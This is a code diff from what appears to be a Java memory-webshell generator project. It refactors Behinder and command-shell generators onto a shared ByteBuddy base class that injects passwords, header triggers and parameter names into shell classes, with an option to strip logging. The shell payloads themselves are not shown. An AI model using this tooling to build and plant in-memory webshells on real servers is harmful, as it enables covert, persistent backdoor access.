public BehinderGenerator(ShellConfig shellConfig, BehinderConfig shellToolConfig) {
|
||||||
private final BehinderConfig behinderConfig;
|
super(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig behinderConfig) {
|
|
||||||
this.shellConfig = shellConfig;
|
|
||||||
this.behinderConfig = behinderConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
public DynamicType.Builder<?> getBuilder() {
|
||||||
if (behinderConfig.getShellClass() == null) {
|
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
|
||||||
throw new IllegalArgumentException("behinderConfig.getClazz() == null");
|
return new ByteBuddy()
|
||||||
}
|
.redefine(shellToolConfig.getShellClass())
|
||||||
if (StringUtils.isBlank(behinderConfig.getPass())) {
|
.field(named("pass")).value(md5Key)
|
||||||
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
}
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
String md5Key = DigestUtils.md5Hex(behinderConfig.getPass()).substring(0, 16);
|
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(behinderConfig.getShellClass())
|
|
||||||
.name(behinderConfig.getShellClassName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("pass", md5Key);
|
|
||||||
put("headerName", behinderConfig.getHeaderName());
|
|
||||||
put("headerValue", behinderConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder.field(named("pass")).value(md5Key)
|
|
||||||
.field(named("headerName")).value(behinderConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+48
@@ -0,0 +1,48 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/27
|
||||||
|
*/
|
||||||
|
public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
|
||||||
|
protected final ShellConfig shellConfig;
|
||||||
|
protected final T shellToolConfig;
|
||||||
|
|
||||||
|
protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
|
||||||
|
this.shellConfig = shellConfig;
|
||||||
|
this.shellToolConfig = shellToolConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected abstract DynamicType.Builder<?> getBuilder();
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] getBytes() {
|
||||||
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
|
String shellClassName = shellToolConfig.getShellClassName();
|
||||||
|
Class<?> shellClass = shellToolConfig.getShellClass();
|
||||||
|
|
||||||
|
if (shellClass != null) {
|
||||||
|
shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellToolConfig.getShellTypeDescription() == null) {
|
||||||
|
throw new GenerationException("shellClass or shellTypeDescription could not be null.");
|
||||||
|
}
|
||||||
|
|
||||||
|
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
||||||
|
.name(shellClassName)
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
|
|
||||||
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
|
return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,72 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/24
|
|
||||||
*/
|
|
||||||
public class CommandGenerator {
|
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final CommandConfig commandConfig;
|
|
||||||
|
|
||||||
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
|
|
||||||
this.shellConfig = shellConfig;
|
|
||||||
this.commandConfig = commandConfig;
|
|
||||||
}
|
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
|
||||||
if (commandConfig.getShellClass() == null) {
|
|
||||||
throw new IllegalArgumentException("commandConfig.getClazz() == null");
|
|
||||||
}
|
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(commandConfig.getShellClass())
|
|
||||||
.name(commandConfig.getShellClassName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
String shellType = shellConfig.getShellType();
|
|
||||||
if (!ShellType.WEBSOCKET.equals(shellType)) {
|
|
||||||
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
|
||||||
put("paramName", commandConfig.getParamName());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder.field(named("paramName")).value(commandConfig.getParamName());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user